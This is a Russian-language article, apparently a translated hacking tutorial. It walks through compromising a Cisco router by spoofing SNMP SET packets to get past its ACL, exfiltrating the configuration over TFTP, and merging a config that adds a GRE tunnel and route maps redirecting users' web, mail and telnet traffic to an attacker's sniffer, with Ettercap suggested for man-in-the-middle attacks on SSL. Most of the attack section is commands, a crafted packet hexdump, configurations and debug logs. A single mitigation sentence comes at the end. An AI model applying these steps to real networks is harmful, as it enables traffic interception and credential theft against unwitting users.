Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.
Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса (Filip Waeytens), запущенной на Windows 2000 Server с включенным SNMP сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.
Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.Ознакомьтесь со сценарием атаки. Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):
Current configuration : 1206 bytes ! version 12.3 ! hostname Victim ! enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interface Ethernet0/0 ip address dhcp ip nat outside half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip nat inside half-duplex ! router rip network 192.168.1.0 ! ip nat inside source list 102 interface Ethernet0/0 overload no ip http server ip classless ! access-list 1 permit 192.168.1.0 0.0.0.255 access-list 102 permit ip any any ! snmp-server community public RO snmp-server community private RW 1 snmp-server enable traps tty ! line con 0 logging synchronous login line aux 0 line vty 0 4 password secret login ! ! end
Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).
Можно выделить два основных этапа атаки:Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 - 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.
root@whax# ./copy-router-config.pl ###################################################### # Copy Cisco Router config - Using SNMP # Hacked up by muts - muts@whitehat.co.il ####################################################### Usage : ./cisco-copy-config.pl Make sure a TFTP server is set up, preferably running from /tmp ! root@whax#После выполнения скрипта будет перехвачен SNMP пакет, подобный тому, что показан на Рисунке 2. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.
Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05, что и продемонстрировано на Рисунке 3.
Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):
root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - by FX Thanx go to Lamont Granquist & fyodor for their hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@.@.5....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 ......x@.P.L.0'. 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router. 636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 root@whax:~#После этого наш TFTP сервер примет соединение, Ethereal-лог которого показан на Рисунке 4.
Обратите внимание на обратный IP адрес SNMP пакета и на TFTP запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.
GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.
Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:interface tunnel0 ip address 192.168.10.1 255.255.255.0 tunnel source Ethernet0/0 tunnel destination tunnel mode gre ipОни означают следующее:
Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:
access-list 101 permit tcp any any eq 443 access-list 101 permit tcp any any eq 80 access-list 101 permit tcp any any eq 21 access-list 101 permit tcp any any eq 20 access-list 101 permit tcp any any eq 23 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.
Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:
router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-trafficЭта запись несет в себе следующий смысл:
Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.
Начнем с создания GRE туннеля на маршрутизаторе атакующего:Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 Attacker(config-if)# tunnel destination Attacker(config-if)# tunnel mode gre ip Attacker(config)# access-list 101 permit ip any any Attacker(config)# router-map divert-to-sniffer Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route-map divert-to-snifferЭти правила означают следующее:
Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:
Attacker(config-if)# route-map divert-out Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map)# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-outЭти дополнительные настройки означают следующее:
root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forwardили
root@whax:~# fragrouter -B1Без перенаправления наша атака вызовет отказ от обслуживания (DoS) на атакуемом компьютер и соответственно потеряет смысл.
Нам нужно создать поддельный SNMP SET запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того чтобы получить базовый пакет мы снова отправим обычный запрос:
root@whax# ./merge-router-config.pl ###################################################### # Merge Cisco Router config - Using SNMP # Hacked up by muts - muts@whitehat.co.il ####################################################### Usage : ./merge-copy-config.pl Make sure a TFTP server is set up, prefferably running from /tmp ! root@whax#Перехватим этот пакет и изменим обратный IP адрес и некоторые другие поля заголовка пакета, как показано на Рисунке 5.
После отправки модифицированного пакета, будет создано TFTP соединения с нашим компьютером (Рисунок 6).
Обратите внимание на TFTP запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:
*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5Заметьте, что адрес TFTP сервера отличается от IP адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рисунке 7.
Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:
Attacker# debug tunnel *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0g allПредположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рисунке 8.
В результате этих действий, Ethereal на компьютере атакующего получит пакеты, показанные на Рисунке 9.
Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.
В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP сервера (находящегося на атакованном нами маршрутизаторе) хватило бы, чтобы сорвать атаку.
Скептики могут спросить “Как атакующий узнал о правилах доступа / имени SNMP группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP адреса, и такая утилита уже существует.Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.
Информация об укреплении защиты маршрутизаторов Cisco может быть найдена на сайте NSA.Гравитация научных фактов сильнее, чем вы думаете